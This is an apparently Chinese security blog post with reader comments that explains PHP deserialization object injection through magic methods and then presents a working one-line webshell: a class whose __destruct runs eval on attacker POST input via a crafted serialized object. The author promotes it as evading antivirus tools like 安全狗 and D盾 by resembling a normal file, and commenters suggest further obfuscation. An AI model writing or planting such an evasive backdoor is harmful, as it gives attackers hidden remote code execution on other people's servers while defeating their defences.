PHP反序列化漏洞与Webshell
Author:vspiders
首发地址:http://blog.csdn.net/vspiders/article/details/79643200
前言
最近和小伙伴们一起研究了下PHP反序列化漏洞,突发奇想,利用反序列化漏洞写一个一句话木马效果应该蛮不错的。于是便有此文。
0x01 PHP反序列化
说起PHP反序列化,那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输,比如跨脚本等。而PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。
<?php
class A{
var $test = "demo";
}
$a = new A(); // 生成a对象
$b = serialize($a); // 序列化a对象为b
$c = unserialize($b); // 反序列化b对象为c
print_r($b); // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test); // 输出对象c中test的值:demo
?>
PHP类中有一种特殊函数体的存在叫魔法函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。
而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
<?php
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
反序列化后在脚本运行结束时就会调用_destruct函数,同时会覆盖test变量输出hello。
0x03 回马枪
我们可以利用该漏洞点,控制输入变量,拼接成一个序列化对象。然后再构造一个魔法函数,比如在_destruct()函数中调用eval执行序列化对象中的语句。
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
0x04 效果演示
直接菜刀链接:
安全狗:
此木马毕竟是跟正常文件太像,所以免杀效果很不错。这里只是测试了安全狗、D盾,其余自测。
小结
而且由此可以引发很多变形,这里只是利用反序列化漏洞,其他漏洞也可以用来当作木马的载体,毕竟cms的代码执行漏洞在被发现之前,他依旧是一个正常到不能再正常的文件。
TCV 1
评论26次
额,有张图片你用hackbar里面的IP是不是没打码?
正在学xi反序列化,学xi了,谢谢
骚操作啊表哥 学到了
作者的思路挺详细的,学xi了
很早我就在用这种免杀马了,到今天各大杀软也没查杀,看来多学编码好处多多
表哥,厉害,思路很棒
思路不错,这个以前在ctf里面见过,也是在析构方法里面有eval函数,楼主还可以试试更多类的自带魔术方法
魔术方法都可以的,但是里面要有命令执行函数。还是相对鸡肋。
以前这样想过,利用一切能执行xi统命令的东西来做后门
思路很好很强大,可以根据这个再进行改进下,争取别让D哥检测出来
思路不错啊
思路还是不错的,很骚
赞一个,思路很好啊,老哥
学xi了。
好思路。。虽然啊D和谐了但是思路可以借鉴
啊D的修复太快了,立马就给修复了。现在报等级5.
可以的兄得,学到了
利用PHP反序列化来构造一句话,学xi了。不过这么明显的eval 居然没被查,也是有点奇怪。
老铁,看你这篇文章 又发先知,又发tools的 双箭齐发呀
表哥,抬一手
老铁,看你这篇文章 又发先知,又发tools的 双箭齐发呀
思路不错,这个以前在ctf里面见过,也是在析构方法里面有eval函数,楼主还可以试试更多类的自带魔术方法
对的,那些魔法函数都可以使用,再加上些混淆更破费